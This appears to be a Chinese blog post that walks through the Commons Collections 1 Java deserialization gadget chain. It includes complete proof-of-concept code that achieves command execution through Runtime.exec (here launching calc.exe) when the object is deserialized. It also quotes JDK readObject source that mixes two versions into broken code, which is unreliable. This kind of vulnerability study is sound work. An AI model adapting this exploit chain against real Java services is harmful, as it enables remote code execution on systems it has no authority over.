Java安全之Commons Collections1分析(二)

0x00 前言

续上篇文,继续调试cc链。在上篇文章调试的cc链其实并不是一个完整的链。只是使用了几个方法的的互相调用弹出一个计算器。

Java安全之Commons Collections1分析(一)

下面来贴出他的完整的一个调用链

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x01 LazyMap

在分析前先来看看LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法。

当调用get(key)的key不存在时,会调用transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法来触发命令执行试试。

 public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value"); Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1"); }

这样也是可以成功的去执行命令。

0x02 AnnotationInvocationHandler

网上查找资料发现AnnotationInvocationHandler该类是用来处理注解的。

AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数。

在JDK里面,所有的注解类型都继承自这个普通的接口(Annotation)。

查看它的readObject⽅法

 private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
} Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>(); // If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
annotationType.members().get(name));
}
}
mv.put(name, value);
} UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}

使用反射调用AnnotationInvocationHandler并传入参数,这里传入一个Retention.class,和outerMap

Retention是一个注解类。outerMap是我们TransformedMap修饰过的类。

这么这时候在 AnnotationInvocationHandlerreadObject方法里面 memberValues就是我们使用反射传入的 TransformedMap的对象。

 Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);

这⾥遍历了它的所有元素,并依次设置值。在调⽤setValue设置值的时候就会触发TransformedMap⾥的

Transform,从而进入导致命令的执行。

0x03 POC分析

public static void main(String[] args) {

            Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject(); }
}

这里可以看到 在Transformer[]数组里面存储的是一个Runtime.class,而不是Runtime对象。这是因为Runtime并没有实现java.io.Serializable 接⼝的 。是不可被序列化的。而Runtime.class是属于java.lang.Classjava.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

把这行代码序列化后,在后面的反序列化中并没有去执行到命令。因为物理机的JDK版本较高,在高版本中的AnnotationInvocationHandlerreadObject是被改动过的 。 从而并没有到达命令执行的目的,但是在低版本中的JDK是可以执行的。

0x04 参考文章

P牛的JAVA安全漫谈系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0X05 结尾

在分析该cc链时,总是从懵逼到顿悟到再懵逼,反反复复。在中途脑子也是一团糟。其实到这里CC链的调试也并没有结束,本文只是一点基础知识,为下篇文做铺垫。

Java安全之Commons Collections1分析(二)的更多相关文章

  1. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  2. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  3. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  4. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  5. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  6. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  7. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  8. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

  9. Java线程池使用和分析(二) - execute()原理

    相关文章目录: Java线程池使用和分析(一) Java线程池使用和分析(二) - execute()原理 execute()是 java.util.concurrent.Executor接口中唯一的 ...

随机推荐

  1. 用LR录制终于可以在我的电脑上顺利弹出IE了

    之前在我的电脑上各种折腾,由于是win764bit+IE11,安装了LR11连最基本的录制都没能搞定.google之后各种的尝试,也没能解决问题.狠下心来把IE11换成了IE8,终于可以勉强使用了,没 ...

  2. 04async await

    async async 函数返回值是一个promise对象,promise对象的状态由async函数的返回值决定   //函数的三种定义 async function hello() { return ...

  3. 在react项目添加看板娘(react-live2d)

    有留意到看板娘这么个东西,简直就是我们程序员+动漫迷的挚爱.但是回观网上,大多只是在老旧的html的静态引入.vue甚至也有几个不怎么维护的,还是老旧的不行的SDK2.X的版本.这这这这!我们的rea ...

  4. Jmeter4.0安装教程

    1. 检查安装环境 1.1 Jdk要求 JDK版本:1.6+ 1.2 检查是否安装JDK win  +  R  快捷键打开运行,输入cmd 打开面板,在面板中输入  java -version,出现如 ...

  5. 二.spring boot第一个web服务

    通过<一.spring boot初始化项目>我们已经会初始化spring boot项目,那本篇文章就说明下初始化项目的具体内容,并编写第一个Hello页面. 项目结构 mvnw.mvnw. ...

  6. 图像通道、RGB与色彩体系

    通道(Channels) 图像的通道指的是什么?是不是灰度图的通道数为1,彩色图的通道为3 ? 图像通道,在RGB色彩模式下就是指那单独的红色.绿色.蓝色部分.也就是说,一幅完整的图像,是由红色绿色蓝 ...

  7. HTTP走私

    干货 https://paper.seebug.org/1048/

  8. 通达OA任意用户登录漏洞复现

    前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...

  9. FFmpeg开发笔记(四):ffmpeg解码的基本流程详解

    若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...

  10. 内存管理初始化源码1:setup_arch

    源码声明:基于Linux kernel 3.08 1. 在kernel/arch/mips/kernel/head.S中会做一些特定硬件相关的初始化,然后会调用内核启动函数:start_kernel: ...